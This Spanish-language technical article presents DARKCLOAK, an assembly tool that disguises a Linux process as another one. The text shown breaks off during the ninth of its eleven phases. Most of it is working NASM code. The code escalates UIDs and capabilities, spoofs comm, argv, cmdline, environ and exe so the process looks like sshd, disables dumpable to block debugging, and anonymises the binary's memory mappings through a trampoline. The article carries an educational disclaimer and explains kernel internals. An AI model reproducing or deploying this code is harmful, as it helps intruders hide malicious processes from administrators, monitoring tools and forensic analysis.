DARKCLOAK: Novel Flow for Process Masquerading
Suplantación de identidad en procesos Linux desde userspace, sin dependencias.
Uso responsable
El contenido de este sitio web se publica exclusivamente con fines educativos e informativos. El autor no promueve, respalda ni se hace responsable del uso indebido o ilegal de la información aquí expuesta. Cualquier acción realizada a partir de este contenido debe llevarse a cabo únicamente en entornos controlados, sistemas propios o con autorización expresa y verificable del propietario del sistema.
Introducción¶
Los tres artículos anteriores de esta serie cubren, por separado, los subsistemas del kernel que intervienen en la identidad de un proceso: el modelo de credenciales (UIDs, GIDs, capabilities y sus transiciones), el formato ELF y el auxiliary vector (cómo el kernel carga un binario y qué construye en el espacio de direcciones) y las fuentes de identidad visible del proceso (qué expone el kernel y cómo se manipula desde userspace).
Este artículo unifica los tres anteriores en un caso práctico totalmente funcional. DARKCLOAK encadena la manipulación de todas las fuentes consultables desde userspace en un pipeline secuencial de 11 fases, transformando progresivamente la identidad visible del proceso hasta hacerlo indistinguible del proceso suplantado para las herramientas de monitorización y análisis.
El código fuente está disponible aquí.
Contribución
Hasta donde llega nuestro conocimiento, ninguna herramienta publicada combina la manipulación simultánea de todas las fuentes de identidad visible desde userspace.
Decisiones de Diseño¶
DARKCLOAK está escrito en NASM x86-64, compilado con nasm -f elf64 y enlazado con ld sin libc. El binario resultante es un ELF estático con tres segmentos PT_LOAD: el segmento 00 contiene las cabeceras ELF y la Program Header Table (PHT), el segmento 01 contiene las instrucciones ejecutables y el segmento 02 almacena los datos globales inicializados y no inicializados.


Esto es sumamente importante, ya que el mapa de memoria del proceso en ejecución contendrá exclusivamente estos tres segmentos, el stack y el vDSO del kernel. Esto nos permitirá saber en todo momento qué VMAs debemos anonimizar y cómo debemos realizar los trampolines.
PT_LOAD 00 (headers + PHT, read-only)
PT_LOAD 01 (código ejecutable, read+execute)
PT_LOAD 02 (datos, read+write)
[stack]
[vDSO]
Datos de Suplantación¶
Los datos utilizados para la suplantación de identidad se definen en la sección .data y están establecidos originalmente para simular al servicio sshd. Para suplantar a otro proceso, bastaría con modificar estos datos.
segment .data
mimic_name db 'sshd',0
mimic_argv db './sshd',0
mimic_exe db '/usr/sbin/sshd',0
mimic_cmdline db '/usr/sbin/sshd',0,'-D',0,
'-oCiphers=aes256-gcm@openssh.com',0,
'-oMACs=hmac-sha2-256',0,
'-f',0,'/etc/ssh/sshd_config',0
mimic_cmdline_length equ $ - mimic_cmdline
mimic_environ db 'LANG=en_US.UTF-8',0,
'PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin',0,
'NOTIFY_SOCKET=/run/systemd/notify',0,
'INVOCATION_ID=a1b2c3d4e5f6',0
mimic_environ_length equ $ - mimic_environ
La cmdline incluye argumentos realistas de sshd (-D, -oCiphers, -oMACs, -f), mientras que environ contiene variables de entorno propias de un servicio gestionado por systemd (como NOTIFY_SOCKET o INVOCATION_ID).
Estado Inicial¶
Si se inspecciona el proceso antes de aplicar los mecanismos de suplantación, todas las fuentes exponen la identidad real. El mapa de memoria referencia al binario cargado, las credenciales reflejan el estado con el que fue lanzado y las interfaces de observación basadas en procfs muestran la información original.
# Comprobación del estado
cat /proc/$PID/comm
readlink /proc/$PID/exe
cat /proc/$PID/cmdline | tr '\0' ' '
cat /proc/$PID/environ | tr '\0' '\n' | head -3
cat /proc/$PID/maps | head -3
cat /proc/$PID/status | grep -E 'Uid|Cap|Gid'
ps aux | grep $PID

Flujo de Ejecución¶
El pipeline está conformado por 11 fases en un orden estricto donde cada fase se adecua a los resultados producidos por las anteriores. Este orden no es una elección de implementación, sino que es definido por las dependencias que existen entre los subsistemas del kernel que se manipulan.

La introspección ELF va primero porque los rangos de los segmentos se obtienen del auxiliary vector en el stack (cubierto en el artículo 2), necesarios para la anonimización de las VMAs en la fase 5. La escalada de UIDs precede a la de capabilities porque EUID=0 maximiza el permitted set. La escalada de capabilities precede al spoofing porque PR_SET_MM requiere CAP_SYS_RESOURCE. La retención de capabilities precede a la degradación de UIDs porque sin ella, el UID fixup del kernel modificaría los capability sets (como se explicó en el artículo 1). Los namespaces van al final porque CLONE_NEWUSER crea un contexto de capabilities independiente.
Recorrido paso a paso¶
Fase 1: Introspección ELF¶
En primer lugar, es necesario averiguar los rangos de memoria de los propios segmentos antes de poder realizar la anonimización de las VMAs. Esta información está disponible en el auxiliary vector, ubicado en el stack.
[ parte alta del stack ] +----------------------------------+ | cadenas de argv, envp, filename | bytes terminados en NULL +----------------------------------+ | padding de alineamiento (16 B) | +----------------------------------+ | AT_NULL (0x00, 0x00) | 16 bytes NULL: terminador del auxv | ... | | AT_ENTRY (0x09, dirección) | 16 bytes por entrada | AT_PHNUM (0x05, valor) | | AT_PHENT (0x04, valor) | | AT_PHDR (0x03, dirección) | inicio del auxv (auxiliary vector) +----------------------------------+ | NULL | 8 bytes NULL: terminador de envp[] | envp[n-1] (puntero) | | ... | | envp[0] (puntero) | +----------------------------------+ | NULL | 8 bytes NULL: terminador de argv[] | argv[argc-1] (puntero) | | ... | | argv[0] (puntero) | +----------------------------------+ | argc | 8 bytes (unsigned long) +----------------------------------+ ↑ RSP apunta aquí en el entry point
AT_PHDR indica dónde está la Program Header Table en memoria, AT_PHENT el tamaño de cada entrada y AT_PHNUM cuántas entradas hay.
; El siguiente fragmento recorre el stack hasta el auxiliary vector
; obteniendo AT_PHDR, AT_PHENT y AT_PHNUM, que son los tres valores
; necesarios para iterar la PHT sin leer /proc/self/maps.
; .bss
phdr_value resq 1 ; buffer para almacenar la dirección virtual de la PHT
phent_value resq 1 ; buffer para almacenar de tamaño en bytes de cada entrada Elf64_Phdr
phnum_value resq 1 ; buffer para almacenar el número total de entradas en la PHT
; .text
_start:
mov r15, rsp
add r15, 8 ; saltar argc (8 bytes)
argv_loop:
cmp qword [r15], 0 ; iterar hasta el NULL terminador de argv[]
je envp_loop
add r15, 8
jmp argv_loop
envp_loop:
add r15, 8 ; saltar NULL terminador de argv[]
cmp qword [r15], 0 ; iterar hasta NULL terminador de envp[]
jne envp_loop
add r15, 8 ; saltar NULL terminador de envp[]
; r15 apunta ahora al primer par {a_type, a_val} del auxv
auxv_loop:
mov r13, [r15] ; clave (a_type)
add r15, 8
mov r14, [r15] ; valor (a_val)
add r15, 8
cmp qword [r15], 0 ; AT_NULL (a_type=0) = fin del auxv
jne auxv_par
jmp pht_entry
auxv_par:
cmp r13, 3 ; AT_PHDR
je phdr_entry
cmp r13, 4 ; AT_PHENT
je phent_entry
cmp r13, 5 ; AT_PHNUM
je phnum_entry
jmp auxv_loop
phdr_entry:
mov [rel phdr_value], r14 ; guardamos la dirección base de la PHT
jmp auxv_loop
phent_entry:
mov [rel phent_value], r14 ; guardamos el tamaño de cada Elf64_Phdr
jmp auxv_loop
phnum_entry:
mov [rel phnum_value], r14 ; guardamos el número de entradas de la PHT
jmp auxv_loop
En posesión de los tres valores del auxv (AT_PHDR, AT_PHENT y AT_PHNUM), se itera la PHT y se clasifica cada PT_LOAD en función de sus permisos. Para cada segmento, se calcula la dirección de fin alineada al siguiente múltiplo de p_align usando la fórmula de round-up:
; Una vez obtenidos AT_PHDR, AT_PHENT y AT_PHNUM del auxv,
; se itera la PHT entrada a entrada. Cada entrada PT_LOAD se
; clasifica por sus flags para extraer el rango de direcciones
; virtuales de los tres segmentos del binario.
; .bss
elf64_phdr: ; buffer temporal donde se copia cada entrada Elf64_Phdr
p_type resd 1
p_flags resd 1
p_offset resq 1
p_vaddr resq 1
p_paddr resq 1
p_filesz resq 1
p_memsz resq 1
p_align resq 1
tmp_bss:
headers_segment_privs resd 1 ; buffer para almacenar los permisos del segmento
headers_segment_start resq 1 ; buffer para almacenar la dirección virtual de inicio del segmento (p_vaddr)
headers_segment_end resq 1 ; buffer para almacenar la dirección virtual dirección virtual de fin alineada a p_align
; .text
pht_entry:
cmp qword [rel phnum_value], 0
je mime ; si phnum_value llega a 0, hemos procesado todos los PT_LOAD
mov rsi, [rel phdr_value] ; rsi = base de la PHT en memoria
lea rdi, [rel elf64_phdr] ; rdi = buffer local destino
mov rcx, [rel phent_value] ; rcx = bytes a copiar (tamaño de Elf64_Phdr)
mov rax, [rel phent_value]
; calculamos la dirección de la entrada de la PHT
; &phdr[r15] = phdr_value + (phent_value * r15)
imul rax, r15
add rsi, rax
cld
rep movsb ; copiamos la entrada en el buffer local elf64_phdr
dec qword [rel phnum_value] ; decrementamos el contador de entradas restantes
inc r15 ; avanzamos al índice de la siguiente entrada
cmp dword [rel p_type], 1 ; PT_LOAD?
jne pht_entry
; clasificamos el PT_LOAD por sus flags:
; PF_R (4) → cabeceras ELF + PHT → PROT_READ (1)
; PF_R|PF_W (6) → datos (.data, .bss) → PROT_READ|PROT_WRITE (3)
; PF_R|PF_X (5) → código (.text) → PROT_READ|PROT_EXEC (5)
call check_headers_segment
call check_data_segment
call check_text_segment
jmp pht_entry
check_headers_segment:
cmp dword [rel p_flags], 4 ; PF_R
jne .skip
mov r12, [rel p_vaddr]
mov [rel headers_segment_start], r12
add r12, [rel p_memsz]
; round up: (addr + (n - 1)) & ~(n - 1)
mov r13, [rel p_align]
dec r13 ; n - 1
add r12, r13 ; addr + (n - 1)
not r13 ; ~(n - 1)
and r12, r13 ; alinear
mov [rel headers_segment_end], r12
mov dword [rel headers_segment_privs], 1 ; PROT_READ
.skip:
ret
La misma lógica se repite para el segmento de datos (PF_R|PF_W → PROT_READ|PROT_WRITE = 3) y el de código ejecutable (PF_R|PF_X → PROT_READ|PROT_EXEC = 5).
Fase 2: Lectura de credenciales¶
Se leen los UIDs y GIDs actuales del proceso para decidir la rama de ejecución y permitir la restauración de los valores originales durante la desescalada.
; Se leen los tres UIDs y los tres GIDs del proceso
; .bss
ruid_val resd 1 ; buffer para almacener el valor Real UID (4 bytes)
euid_val resd 1 ; buffer para almacener el valor Effective UID (4 bytes)
suid_val resd 1 ; buffer para almacener el valor Save Set-User-ID (4 bytes)
rgid_val resd 1 ; buffer para almacener el valor Real GID (4 bytes)
egid_val resd 1 ; buffer para almacener el valor Effective GID (4 bytes)
sgid_val resd 1 ; buffer para almacener el valor Saved Set-GID (4 bytes)
; .text
mov rax, 118 ; GETRESUID
lea rdi, [rel ruid_val]
lea rsi, [rel euid_val]
lea rdx, [rel suid_val]
syscall
mov rax, 120 ; GETRESGID
lea rdi, [rel rgid_val]
lea rsi, [rel egid_val]
lea rdx, [rel sgid_val]
syscall
Fase 3: Escalada de UIDs¶
Si alguno de los tres UIDs (real, effective o saved) es 0, el proceso puede establecer en una única llamada al sistema todos a 0. Como consecuencia, el kernel pasa a considerar al proceso como privilegiado y durante el reajuste de credenciales (capability fixup), se establecerán todas las capabilities privilegiadas en los conjuntos permitted y effective.
; Si cualquiera de los tres UIDs es 0, el proceso puede invocar
; SETRESUID(0,0,0) para establecerlos todos a 0.
; .bss
ruid_val resd 1 ; Valor de Real UID (4 bytes)
euid_val resd 1 ; Valor de Effective UID (4 bytes)
suid_val resd 1 ; Valor de Save Set-User-ID (4 bytes)
rgid_val resd 1 ; Valor de Real GID (4 bytes)
egid_val resd 1 ; Valor de Effective GID (4 bytes)
sgid_val resd 1 ; Valor de Saved Set-GID (4 bytes)
; .text
mov r12d, [rel ruid_val]
cmp r12d, 0
je user_escalation ; RUID = 0 → escalar
mov r13d, [rel euid_val]
cmp r13d, 0
je user_escalation ; EUID = 0 → escalar
mov r14d, [rel suid_val]
cmp r14d, 0
je user_escalation ; SUID = 0 → escalar
jmp caps_escalation
user_escalation:
mov rax, 117 ; SETRESUID
xor rdi, rdi ; RUID = 0
xor rsi, rsi ; EUID = 0
xor rdx, rdx ; SUID = 0
syscall
Si ningún UID es 0, el proceso salta directamente a la fase de escalada de capabilities.
Fase 4: Escalada de capabilities¶
Es posible maximizar las capabilities del proceso copiando el contenido del permitted set al effective set y al inheritable set. En caso de tener EUID=0, partiremos de todas las capabilities privilegiadas en el effective set, pero igualmente se copiarán al resto de conjuntos. De este modo, durante la desescalada de privilegios futura podremos conservar las capabilities únicamente en el permitted set y activarlas posteriormente cuando sea necesario, sin mantenerlas habilitadas de forma permanente en el effective set.
; Se copia el permitted set al effective y al inheritable.
; ┌──────────────────────────────────────┐
; │ datap[0].effective (caps 0-31) │ offset +0
; │ datap[0].permitted (caps 0-31) │ offset +4
; │ datap[0].inheritable (caps 0-31) │ offset +8
; ├──────────────────────────────────────┤
; │ datap[1].effective (caps 32-63) │ offset +12
; │ datap[1].permitted (caps 32-63) │ offset +16
; │ datap[1].inheritable (caps 32-63) │ offset +20
; └──────────────────────────────────────┘
; tal: 24 bytes
; .data
; struct __user_cap_header_struct
hdrp:
dd 0x20080522 ; _LINUX_CAPABILITY_VERSION_3
dd 0 ; PID 0 = hilo actual
; .bss
datap resb 24 ; dos __user_cap_data_struct contiguas (12 bytes cada una)
; .text
caps_escalation:
; CAPGET: leemos los tres conjuntos actuales
mov rax, 125
lea rdi, [rel hdrp]
lea rsi, [rel datap]
syscall
; copiamos permitted en effective e inheritable (parte baja, caps 0-31)
mov r12d, [rel datap+4] ; datap[0].permitted
mov [rel datap], r12d ; datap[0].effective ← permitted
mov [rel datap+8], r12d ; datap[0].inheritable ← permitted
; copiamos permitted en effective e inheritable (parte alta, caps 32-63)
mov r13d, [rel datap+16] ; datap[1].permitted
mov [rel datap+12], r13d ; datap[1].effective ← permitted
mov [rel datap+20], r13d ; datap[1].inheritable ← permitted
; CAPSET: aplicamos los cambios al proceso
mov rax, 126
lea rdi, [rel hdrp]
lea rsi, [rel datap]
syscall
Antes de CAPSET: Después de CAPSET: ┌─────────────────────────┐ ┌─────────────────────────┐ │ effective = 0x00... │ │ effective = permitted │ │ permitted = 0xa8... │ ──▶ │ permitted = 0xa8... │ (sin cambio) │ inheritable = 0x00... │ │ inheritable = permitted │ └─────────────────────────┘ └─────────────────────────┘
La capability más importante para la fase de suplantación es CAP_SYS_RESOURCE (bit 24). Sin ella, todo el bloque de PR_SET_MM de la fase 5 se omite.
Fase 5: Spoofing de la identidad visible¶
La identidad visible de un proceso en Linux no reside en una única fuente modificable, sino que se encuentra distribuida entre múltiples estructuras internas del sistema. DARKCLOAK actúa sobre cada una de ellas mediante los mecanismos específicos que permiten su alteración.
Fase 5a: Cambio de comm¶
El campo comm de la estructura task_struct es un array de 16 bytes, compuesto por 15 caracteres útiles más el carácter de terminación (\0), que indica el nombre corto del proceso. Este campo es la fuente de /proc/PID/comm y es consultado por herramientas como ps o top, así como por todos los programas eBPF que usen bpf_get_current_comm. La modificación no requiere capabilities especiales.
; Modifica el campo comm del task_struct
; .data
mimic_name db 'sshd',0
; .text
mov rax, 157 ; PRCTL
mov rdi, 15 ; PR_SET_NAME
lea rsi, [rel mimic_name] ; puntero a la cadena de reemplazo ("sshd\0")
xor rdx, rdx
xor r10, r10
xor r8, r8
syscall
Los nombres entre corchetes ([kworker/0:1], [migration/0]) son por convención hilos del kernel. Un proceso en userspace puede adoptar uno de estos nombres para mimetizarse con procesos legítimos del sistema.
Fase 5b: Sobrescritura de argv[0]¶
El valor argv[0] es el primer elemento del array de argumentos que el proceso recibe al iniciarse. Por convención, contiene el nombre o ruta del ejecutable que lanzó el proceso. El kernel lo coloca en el stack durante execve, en la región de memoria comprendida entre arg_start y arg_end del mm_struct.
Suponiendo que el stack no haya sido modificado por el programa, sobrescribir el valor almacenado en argv[0] equivale a una escritura directa en una ubicación conocida dentro del espacio de direcciones del proceso, en concreto, a la dirección apuntada por el puntero ubicado en rsp+8.
[ parte alta del stack ] +----------------------------------+ | cadenas de argv, envp, filename | bytes terminados en NULL +----------------------------------+ | padding de alineamiento (16 B) | +----------------------------------+ | AT_NULL (0x00, 0x00) | 16 bytes NULL: terminador del auxv | ... | | AT_ENTRY (0x09, dirección) | 16 bytes por entrada | AT_PHNUM (0x05, valor) | | AT_PHENT (0x04, valor) | | AT_PHDR (0x03, dirección) | inicio del auxv (auxiliary vector) +----------------------------------+ | NULL | 8 bytes NULL: terminador de envp[] | envp[n-1] (puntero) | | ... | | envp[0] (puntero) | +----------------------------------+ | NULL | 8 bytes NULL: terminador de argv[] | argv[argc-1] (puntero) | | ... | | argv[0] (puntero) | +----------------------------------+ | argc | 8 bytes (unsigned long) +----------------------------------+ ↑ RSP apunta aquí en el entry point
; Sobreescritura de argv[0]
; .data
mimic_argv db './sshd',0
;.text
mov r12, [rsp+8] ; dirección de la cadena original argv[0] en el stack
mov r13, [rel mimic_argv] ; contenido de la cadena de reemplazo ("./sshd\0")
mov [r12], r13 ; se sobrescribe la cadena original con la de reemplazo
Sobrescribir argv[0] modifica lo que devuelve /proc/PID/cmdline, ya que este último se construye a partir de la misma región de memoria que contiene los argumentos del proceso (arg_start y arg_end).
Fase 5c: Desactivación de dumpable (Anti-Debugging y Anti-Dumping)¶
Con dumpable = 1 (valor por defecto), los ficheros /proc/PID/maps, /proc/PID/mem, /proc/PID/environ y /proc/PID/auxv son accesibles por el propietario del proceso. Establecerlo a 0 transfiere la propiedad de esos ficheros a root:root, bloqueando su lectura para cualquier proceso sin CAP_SYS_PTRACE en el effective set y hace que ptrace(PTRACE_ATTACH) desde un proceso con el mismo UID falle con EPERM.
; Se establecer el valor de dumpable a 0
;.text
mov rax, 157 ; PRCTL
mov rdi, 4 ; PR_SET_DUMPABLE
mov rsi, 0 ; DUMPABLE = 0
xor rdx, rdx
xor r10, r10
xor r8, r8
syscall
Esta medida no altera la identidad visible del proceso, sino que dificulta de forma significativa la inspección por parte de terceros.
Fase 5d: Spoofing de cmdline, environ y exe¶
Las tres fuentes que quedan por manipular tienen origen en el mm_struct del proceso y se modifican a través de las operaciones PR_SET_MM_* de PRCTL. Aunque las tres se gestionan a través de la misma interfaz, el mecanismo de manipulación es distinto.
cmdline y environ se manipulan redirigiendo los punteros arg_start/arg_end y env_start/env_end a buffers controlados. exe, en cambio, no se lee desde un rango de direcciones del proceso, sino desde el campo exe_file del mm_struct, que contiene un puntero a un struct file del kernel. Su manipulación requiere pasar un file descriptor del binario objetivo para que el kernel reemplace la referencia en sus propias estructuras, de ahí el requisito de CAP_SYS_RESOURCE y el error EBUSY cuando quedan VMAs file-backed apuntando al ejecutable original.
Por tanto, antes de realizar las modificaciones, se debe verificar que CAP_SYS_RESOURCE (bit 24) esté presente en el effective set:
; Comprobación de la capability CAP_SYS_RESOURCE
; .bss
datap resb 24 ; dos __user_cap_data_struct contiguas (12 bytes cada una)
; .text
mov r14d, [rel datap] ; datap[0].effective (caps 0-31)
bt r14d, 24 ; test CAP_SYS_RESOURCE (bit 24) en el effective set
jnc caps_ret ; si CAP_SYS_RESOURCE no está presente se omite todo el bloque PR_SET_MM
En caso de tener presente la capability, se deben anonimizar todas las VMAs file-backed.
Anonimización de VMAs mediante trampoline
Dado que el segmento .text contiene el código ejecutable y el RIP apunta a instrucciones dentro de él, desmapearlo en caliente provocaría un segmentation fault inmediato. La solución es construir un trampoline: una página de memoria anónima temporal desde la que ejecutar todo el proceso de anonimización.
; Construcción y salto al trampoline para la anonimización
; .bss
tmp_mm_addr resq 1 ; buffer donde almacenar la dirección de inicio de la página temporal
tmp_bss:
headers_segment_privs resd 1 ; PROT_READ (1)
headers_segment_start resq 1 ; dirección virtual de inicio del segmento de cabeceras + PHT
headers_segment_end resq 1 ; dirección virtual de fin del segmento de cabeceras + PHT
data_segment_privs resd 1 ; PROT_READ | PROT_WRITE (3)
data_segment_start resq 1 ; dirección virtual de inicio del segmento de datos
data_segment_end resq 1 ; dirección virtual de fin del segmento de datos
text_segment_privs resd 1 ; PROT_READ | PROT_EXEC (5)
text_segment_start resq 1 ; dirección virtual de inicio del segmento de código
text_segment_end resq 1 ; dirección virtual de fin del segmento de código
return_addr resq 1 ; destino del salto tras completar la anonimización
tmp_bss_len equ $ - tmp_bss
; .text
tmp_mm:
; reservar una página anónima temporal con permisos RW
mov rax, 9 ; MMAP
xor rdi, rdi ; kernel elige dirección base
mov rsi, 4096 ; una página (4096 bytes)
mov rdx, 0x3 ; PROT_READ | PROT_WRITE
mov r10, 0x22 ; MAP_PRIVATE | MAP_ANONYMOUS
mov r8, -1 ; fd = -1 (anónima)
xor r9, r9
syscall
mov rbx, rax ; rbx = dirección base de la página temporal
mov [rel tmp_mm_addr], rax
; copiar el código de anonimización (mm_start → mm_end) a la página temporal
lea rsi, [rel mm_start]
mov rdi, rbx
mov rcx, mm_end - mm_start
cld
rep movsb
; almacenar la dirección de retorno (un_tmp_mm) al final de la página
lea r12, [rel un_tmp_mm]
mov [rel return_addr], r12
; copiar tmp_bss (rangos y permisos de los segmentos) al final de la página
mov r12, rbx
add r12, 4096
sub r12, tmp_bss_len
lea rsi, [rel tmp_bss]
mov rdi, r12
mov rcx, tmp_bss_len
cld
rep movsb
; establecer la página como R-X
mov rax, 10 ; MPROTECT
mov rdi, rbx
mov rsi, 4096
mov rdx, 0x5 ; PROT_READ | PROT_EXEC
syscall
; saltar a la página temporal
jmp rbx
El código dentro de la página temporal (mm_start → mm_end) itera los tres segmentos y para cada uno invoca a la función mm:
; Anonimización de los tres segmentos PT_LOAD desde la página temporal
; .text
mm_start:
; cada bloque lee permisos, dirección de inicio/fin y llama a la función mm
; r12 apunta al inicio de tmp_bss copiado al final de la página temporal
; segmento de cabeceras + PHT
mov r13d, [r12] ; permisos del segmento
add r12, 4
mov r14, [r12] ; dirección virtual de inicio
add r12, 8
mov r15, [r12] ; dirección virtual de fin
add r12, 8
call mm
; segmento de datos
mov r13d, [r12]
add r12, 4
mov r14, [r12]
add r12, 8
mov r15, [r12]
add r12, 8
call mm
; segmento de código
mov r13d, [r12]
add r12, 4
mov r14, [r12]
add r12, 8
mov r15, [r12]
add r12, 8
call mm
; los tres segmentos son ahora VMAs anónimas sin referencia al binario en disco
jmp [r12] ; saltamos a dirección de retorno dentro del .text anonimizado
La función mm ejecuta la secuencia de anonimización para un segmento concreto:
; Anonimización de un segmento PT_LOAD
; Entrada:
; r13d = permisos del segmento (1=PROT_READ, 3=PROT_READ|PROT_WRITE, 5=PROT_READ|PROT_EXEC)
; r14 = dirección virtual de inicio del segmento
; r15 = dirección virtual del fin del segmento
; .text
mm:
sub r15, r14 ; r15 = tamaño del segmento en bytes
; reservar una región anónima del mismo tamaño
mov rax, 9 ; MMAP
xor rdi, rdi ; kernel elige dirección base
mov rsi, r15 ; tamaño = tamaño del segmento
mov rdx, 0x3 ; PROT_READ | PROT_WRITE
mov r10, 0x22 ; MAP_PRIVATE | MAP_ANONYMOUS
mov r8, -1 ; fd = -1 (anónima)
xor r9, r9
syscall
mov rbx, rax
; copiar el contenido del segmento original a la región anónima
mov rsi, r14 ; origen = dirección de inicio del segmento original
mov rdi, rbx ; destino = dirección de inicio de la región anónima recién reservada
mov rcx, r15 ; número de bytes a copiar desde el origen
cld
rep movsb
; desmapear el segmento original (file-backed)
mov rax, 11 ; MUNMAP
mov rdi, r14 ; dirección de inicio del segmento original
mov rsi, r15
syscall
; reubicar la región anónima en el rango del segmento original ya desmapeado
mov rax, 25 ; MREMAP
mov rdi, rbx ; origen = dirección de inicio de la región anónima
mov rsi, r15
mov rdx, r15
mov r10, 0x3 ; MREMAP_MAYMOVE | MREMAP_FIXED
mov r8, r14 ; destino = dirección de inicio original del segmento
syscall
; restaurar los permisos originales del segmento
mov rax, 10 ; MPROTECT
mov rdi, r14
mov rsi, r15
movzx rdx, r13d ; permisos originales del segmento
syscall
ret
mm_end:
Tras cumplir su función, la página temporal se desmapea:
; Eliminación de la página temporal
; .bss
tmp_mm_addr resq 1 ; dirección de inicio de la página temporal
; .text
un_tmp_mm:
mov rax, 11 ; MUNMAP
mov rdi, [rel tmp_mm_addr] ; dirección de inicio de la página temporal
mov rsi, 4096
syscall
La secuencia de anonimización completa es la siguiente:
| Paso | Ubicación de RIP | Resultado |
|---|---|---|
| 0 | .text |
3 VMAs file-backed. |
| 1 | .text |
Se reserva una página temporal anónima. 3 VMAs file-backed + 1 VMA anónima. |
| 2 | .text |
El código y los datos auxiliares se copian a la nueva VMA. |
| 3 | .text |
Se establece el permiso de ejecución sobre la página temporal. |
| 4 | Página temporal | Salto al comienzo de la nueva VMA. RIP abandona el .text inicial. |
| 5 | Página temporal | Segmento de cabeceras ELF y PHT convertido a memoria anónima. |
| 6 | Página temporal | Segmento de datos convertido a memoria anónima. |
| 7 | Página temporal | Segmento de código convertido a memoria anónima. |
| 8 | .text anonimizado |
Se retorna el flujo de ejecución al .text ya anonimizado. 4 VMAs anónimas. |
| 9 | .text anonimizado |
El trampolín temporal es eliminado. 3 VMAs anónimas. |
Con todas las VMAs originales ya anonimizadas, se ejecutan las operaciones PR_SET_MM_*:
; Spoofing de cmdline, environ y exe mediante PR_SET_MM
; .data
mimic_cmdline db '/usr/sbin/sshd',0,'-D',0,'-oCiphers=aes256-gcm@openssh.com',0,'-oMACs=hmac-sha2-256',0,'-f',0,'/etc/ssh/sshd_config',0
mimic_cmdline_length equ $ - mimic_cmdline
mimic_environ db 'LANG=en_US.UTF-8',0,'PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin',0,'NOTIFY_SOCKET=/run/systemd/notify',0,'INVOCATION_ID=a1b2c3d4e5f6',0
mimic_environ_length equ $ - mimic_environ
mimic_exe db '/usr/sbin/sshd',0
; .text
mm_spoof:
; modificar arg_start y arg_end para que apunten a mimic_cmdline
mov rax, 157
mov rdi, 35 ; PR_SET_MM
mov rsi, 8 ; PR_SET_MM_ARG_START
lea rdx, [rel mimic_cmdline]
xor r10, r10
xor r8, r8
syscall
mov rax, 157
mov rdi, 35
mov rsi, 9 ; PR_SET_MM_ARG_END
lea rdx, [rel mimic_cmdline + mimic_cmdline_length]
xor r10, r10
xor r8, r8
syscall
; modificar env_start y env_end para que apunten a mimic_environ
mov rax, 157
mov rdi, 35
mov rsi, 10 ; PR_SET_MM_ENV_START
lea rdx, [rel mimic_environ]
xor r10, r10
xor r8, r8
syscall
mov rax, 157
mov rdi, 35
mov rsi, 11 ; PR_SET_MM_ENV_END
lea rdx, [rel mimic_environ + mimic_environ_length]
xor r10, r10
xor r8, r8
syscall
; reemplazar el campo exe_file del mm_struct
mov rax, 257 ; OPENAT
mov rdi, -100 ; AT_FDCWD
lea rsi, [rel mimic_exe] ; ruta del ejecutable a abrir ("/usr/sbin/sshd")
xor rdx, rdx ; O_RDONLY
xor r10, r10
syscall
mov r14, rax ; r14 = FD del binario abierto
mov rax, 157
mov rdi, 35 ; PR_SET_MM
mov rsi, 13 ; PR_SET_MM_EXE_FILE
mov rdx, r14 ; FD del binario abierto, el kernel extrae el struct file asociado al FD y lo asigna al exe_file
xor r10, r10
xor r8, r8
syscall
Por defecto, argv[0] y cmdline hacen referencia a la misma región de memoria. La llamada PR_SET_MM_ARG_START/ARG_END desacopla ambas fuentes: cmdline pasa a leer desde mimic_cmdline en .data, mientras que argv[0] en el stack queda modificado de forma independiente. Un analista que inspeccione directamente el stack observará el nombre alterado, en consonancia con el valor expuesto a través de cmdline.
Fase 6: Retención de capabilities¶
Antes de degradar los UIDs, se realiza la retención de capabilities para que el UID fixup del kernel no modifique los capability sets en nuestro perjuicio.
En función de si el proceso dispone o no de la capability CAP_SETPCAP (bit 8), se selecciona el mecanismo de retención más conveniente:
; Retención de capabilities
; .bss
datap resb 24 ; dos __user_cap_data_struct contiguas (12 bytes cada una)
; .text
caps_ret:
; comprobamos si tenemos la capability CAP_SETPCAP en el effective set
xor r14, r14
mov r14d, [rel datap] ; datap[0].effective (caps 0-31)
bt r14d, 8
jc setpcap_effective ; CF=1 → CAP_SETPCAP disponible
; sin CAP_SETPCAP, usamos PR_SET_KEEPCAPS
mov rax, 157
mov rdi, 8 ; PR_SET_KEEPCAPS
mov rsi, 1
xor rdx, rdx
xor r10, r10
xor r8, r8
syscall
jmp user_degrade
setpcap_effective:
; con CAP_SETPCAP, usamos PR_SET_SECUREBITS
mov rax, 157
mov rdi, 28 ; PR_SET_SECUREBITS
mov rsi, 12 ; SECBIT_NO_SETUID_FIXUP | SECBIT_NO_SETUID_FIXUP_LOCKED
xor rdx, rdx
xor r10, r10
xor r8, r8
syscall
Con PR_SET_SECUREBITS, los tres capability sets sobreviven intactos a la degradación de UIDs. Con PR_SET_KEEPCAPS, solo el permitted set se mantiene intacto.
Fases 7-8: Desescalada de UIDs y GIDs¶
Se reducen los UIDs al de un usuario no privilegiado. Si se tiene CAP_SETUID (bit 7), se usa el UID 1000 (convencionalmente el primer usuario no-root del sistema). Si no se tiene, se restauran los UIDs originales almacenados en la fase 2:
; Desescalada de UIDs
; .bss
datap resb 24 ; dos __user_cap_data_struct contiguas (12 bytes cada una)
; .text
user_degrade:
; comprobamos si tenemos la capability CAP_SETUID en el effective set
xor r14, r14
mov r14d, [rel datap] ; datap[0].effective (caps 0-31)
bt r14d, 7
jc user_impersonate ; CF=1 → CAP_SETUID disponible
; sin CAP_SETUID, se restauran los UIDs iniciales
mov rax, 117 ; SETRESUID
mov edi, [rel ruid_val] ; RUID inicial
mov esi, [rel euid_val] ; EUID inicial
mov edx, [rel suid_val] ; SUID inicial
syscall
jmp capabilities_degrade
user_impersonate:
; con CAP_SETUID se establecen los UIDs a 1000
mov rax, 117 ; SETRESUID
mov rdi, 1000 ; RUID = 1000
mov rsi, 1000 ; EUID = 1000
mov rdx, 1000 ; SUID = 1000
syscall
La misma lógica se aplica a los GIDs con la capability CAP_SETGID (bit 6) y la syscall setresgid.
Fase 9: Desescalada de capabilities¶
Se vacían los conjuntos effective e inheritable, conservando intacto el conjunto permitted. Cualquier capability presente en permitted puede activarse posteriormente en los demás conjuntos cuando sea necesario.
; Desescalada de capabilities
; .bss
datap resb 24 ; dos __user_cap_data_struct contiguas (12 bytes cada una)
; .text
capabilities_degrade:
; se vacía el effective y el inheritable set
